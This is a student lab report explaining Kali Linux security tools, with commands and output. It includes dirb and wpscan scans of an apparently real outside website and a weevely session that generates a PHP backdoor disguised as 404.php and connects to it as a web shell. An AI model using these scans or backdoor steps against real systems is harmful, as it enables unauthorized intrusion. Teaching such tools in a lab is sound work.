

Government Polytechnic

Udupi

Name: Rekha K

Register No.: 145CS20014

Task Report: 3

1. Johntheripper:

John the Ripper is a popular open source password cracking tool that combines several different cracking programs and runs in both brute force and dictionary attack modes.

John the Ripper is often used in the enterprise to detect weak passwords that could put network security at risk, as well as other administrative purposes. The software can run a wide variety of password-cracking techniques against the various user accounts on each operating system and can be scripted to run locally or remotely.

2. Wpscan:

Wpscan is a WordPress security scanner used to test WordPress installations and WordPress-powered websites. This is a command line tool used in Kali Linux. This tool can be used to find any vulnerable plugins, themes, or backups running on the site. Wpscan scans remote wordPress installations to find security issues.

Command: Vulnerability Scan in url

```
# wpscan -url http://mitkundapura.com
```

```
(kali㉿kali)-[~]
$ wpscan --url http://mitkundapura.com

WordPress
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

Scan Aborted: The remote website is up, but does not seem to be running WordPress.

(kali㉿kali)-[~]
$ echo "rekha"
rekha
```

3. dirb:

Dirb is a Web Content Scanner. It looks for existing web Objects. It basically works by launching a dictionary based attack against a web server and analyzing the responses. Dirb comes with a set of preconfigured attack wordlists for easy usage but you can use your custom wordlists.

Dirb will make an HTTP request and see the HTTP response code of each request.

Commands:

```
# dirb https://mitkundapura.com
```

Save the output in a file:

```
# dirb https://mitkundapura.com/user/share/dirb/wordlist/common.txt -o file.txt
```

```
# dirb https://mitkundapura.com/user/share/dirb/wordlist/common.txt
dsgtdr.txt
```

Generate dictionary incrementally

```
# dirb-gendict -h
```

```
(kali㉿kali)-[~]
$ dirb https://mitkundapura.com

DIRB v2.22
By The Dark Raver

START_TIME: Tue Mar  7 05:21:11 2023
URL_BASE: https://mitkundapura.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

— Scanning URL: https://mitkundapura.com/ —
⇒ DIRECTORY: https://mitkundapura.com/~adm/
⇒ DIRECTORY: https://mitkundapura.com/~admin/
⇒ DIRECTORY: https://mitkundapura.com/~administrator/
⇒ DIRECTORY: https://mitkundapura.com/~amanda/
⇒ DIRECTORY: https://mitkundapura.com/~apache/
⇒ DIRECTORY: https://mitkundapura.com/~bin/
⇒ DIRECTORY: https://mitkundapura.com/~ftp/
⇒ DIRECTORY: https://mitkundapura.com/~guest/
⇒ DIRECTORY: https://mitkundapura.com/~http/
⇒ DIRECTORY: https://mitkundapura.com/~httpd/
⇒ DIRECTORY: https://mitkundapura.com/~log/
⇒ DIRECTORY: https://mitkundapura.com/~logs/
⇒ DIRECTORY: https://mitkundapura.com/~lp/
⇒ DIRECTORY: https://mitkundapura.com/~mail/
⇒ DIRECTORY: https://mitkundapura.com/~nobody/
⇒ DIRECTORY: https://mitkundapura.com/~operator/
⇒ DIRECTORY: https://mitkundapura.com/~root/
⇒ DIRECTORY: https://mitkundapura.com/~sys/
```

```
(kali㉿kali)-[~]
$ dirb https://mitkundapura.com /usr/share/dirb/wordlists/common.txt dsgtdr.txt

DIRB v2.22
By The Dark Raver

START_TIME: Tue Mar  7 05:22:41 2023
URL_BASE: https://mitkundapura.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

— Scanning URL: https://mitkundapura.com/ —
^Z> Testing: https://mitkundapura.com/_mem_bin
zsh: suspended dirb https://mitkundapura.com /usr/share/dirb/wordlists/common.txt dsgtdr.txt

(kali㉿kali)-[~]
$ dirb-gendict -h
Usage: dirb-gendict -type pattern
  type: -n numeric [0-9]
        -c character [a-z]
        -C uppercase character [A-Z]
        -h hexa [0-f]
        -a alfanumeric [0-9a-z]
        -s case sensitive alfanumeric [0-9a-zA-Z]
  pattern: Must be an ascii string in which every 'X' character wildcard
           will be replaced with the incremental value.

Example: dirb-gendict -n thisword_X
```

```
Example: dirb-gendict -n thisword_X
thisword_0
thisword_1
[ ... ]
thisword_9
```

```
(kali㉿kali)-[~]
$ dirb https://mitkundapura.com /usr/share/dirb/wordlists/common.txt -o file.txt
```

```
DIRB v2.22
By The Dark Raver
```

```
OUTPUT_FILE: file.txt
START_TIME: Tue Mar 7 05:25:43 2023
URL_BASE: https://mitkundapura.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
```

```
GENERATED WORDS: 4612
```

```
— Scanning URL: https://mitkundapura.com/ —
⇒ DIRECTORY: https://mitkundapura.com/~adm/
⇒ DIRECTORY: https://mitkundapura.com/~admin/
⇒ DIRECTORY: https://mitkundapura.com/~administrator/
⇒ DIRECTORY: https://mitkundapura.com/~amanda/
⇒ DIRECTORY: https://mitkundapura.com/~apache/
⇒ DIRECTORY: https://mitkundapura.com/~bin/
⇒ DIRECTORY: https://mitkundapura.com/~ftp/
⇒ DIRECTORY: https://mitkundapura.com/~guest/
⇒ DIRECTORY: https://mitkundapura.com/~http/
⇒ DIRECTORY: https://mitkundapura.com/~httpd/
```

```
⇒ DIRECTORY: https://mitkundapura.com/~log/
⇒ DIRECTORY: https://mitkundapura.com/~logs/
⇒ DIRECTORY: https://mitkundapura.com/~lp/
⇒ DIRECTORY: https://mitkundapura.com/~mail/
⇒ DIRECTORY: https://mitkundapura.com/~nobody/
⇒ DIRECTORY: https://mitkundapura.com/~operator/
⇒ DIRECTORY: https://mitkundapura.com/~root/
⇒ DIRECTORY: https://mitkundapura.com/~sys/
⇒ DIRECTORY: https://mitkundapura.com/~sysadm/
⇒ DIRECTORY: https://mitkundapura.com/~sysadmin/
⇒ DIRECTORY: https://mitkundapura.com/~test/
⇒ DIRECTORY: https://mitkundapura.com/~tmp/
⇒ DIRECTORY: https://mitkundapura.com/~user/
⇒ DIRECTORY: https://mitkundapura.com/~webmaster/
⇒ DIRECTORY: https://mitkundapura.com/~www/
^Z> Testing: https://mitkundapura.com/14
zsh: suspended dirb https://mitkundapura.com /usr/share/dirb/wordlists/common.txt -o file.tx
```

```
(kali㉿kali)-[~]
$ echo "rekha"
rekha
```

4. Searchsploit:

SearchSploit is a command-line search tool for Exploit-DB that allows you to take a copy of the Exploit Database with you. Searchsploit is included in the Exploit Database repository on GitHub. SearchSploit is very useful for security assessments when you don't have Internet access because it gives you the power to perform detailed offline searches for exploits in the saved Exploit-DB.

Command:

Searches can be restricted to the titles by using the `-t` options:

```
# searchsploit -t windows oracle
```

```
# searchsploit wordpress mail list
```

```
(kali@kali)-[~]
$ searchsploit -t windows oracle
```

Exploit Title	Path
Oracle 10g (Windows x86) - 'PROCESS_DUP_HANDLE' Local Privilege Escalation	windows_x86/local/3451.c
Oracle 9i XDB (Windows x86) - FTP PASS Overflow (Metasploit)	windows_x86/remote/16731.rb
Oracle 9i XDB (Windows x86) - FTP UNLOCK Overflow (Metasploit)	windows_x86/remote/16714.rb
Oracle 9i XDB (Windows x86) - HTTP PASS Overflow (Metasploit)	windows_x86/remote/16809.rb
Oracle MySQL (Windows) - FILE Privilege Abuse (Metasploit)	windows/remote/35777.rb
Oracle MySQL (Windows) - MOF Execution (Metasploit)	windows/remote/23179.rb
Oracle MySQL for Microsoft Windows - Payload Execution (Metasploit)	windows/remote/16957.rb
Oracle VirtualBox Guest Additions 5.1.18 - Unprivileged Windows User-Mode Guest Code Double-Free	multiple/dos/41932.cpp
Oracle VM VirtualBox 5.0.32 r112930 (x64) - Windows Process COM Injection Privilege Escalation	windows_x86-64/local/41908.txt

```
Shellcodes: No Results

(kali@kali)-[~]
$ searchsploit wordpress mail list
```

Exploit Title	Path
WordPress Plugin Mailing List - Arbitrary File Download	php/webapps/18276.txt
WordPress Plugin Mailing List 1.3.2 - Remote File Inclusion	php/webapps/17866.txt
WordPress Plugin WP-phpList 2.10.2 - 'unsubscribeemail' Cross-Site Scripting	php/webapps/33365.txt

```
Shellcodes: No Results

(kali@kali)-[~]
$ echo "rekha"
rekha
```

5. weeveily:

Weeveily is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones.

Command:

Generate PHP backdoor with weeveily tool

```
# weeveily generate 12345 404.php
```

```
# weevely http://192.168.19.132/404.php 12345
```

```
(kali㉿kali)-[~]  
$ weevely generate 12345 404.php  
Generated '404.php' with password '12345' of 771 byte size.  
  
(kali㉿kali)-[~]  
$ weevely http://192.168.19.132/404.php 12345  
  
[+] weevely 4.0.1  
  
[+] Target:      192.168.19.132  
[+] Session:    /home/kali/.weevely/sessions/192.168.19.132/404_0.session  
  
[+] Browse the filesystem or execute commands starts the connection  
[+] to the target. Type :help for more information.  
  
weevely>  
zsh: suspended  weevely http://192.168.19.132/404.php 12345  
  
(kali㉿kali)-[~]  
$ echo "rekha"  
rekha
```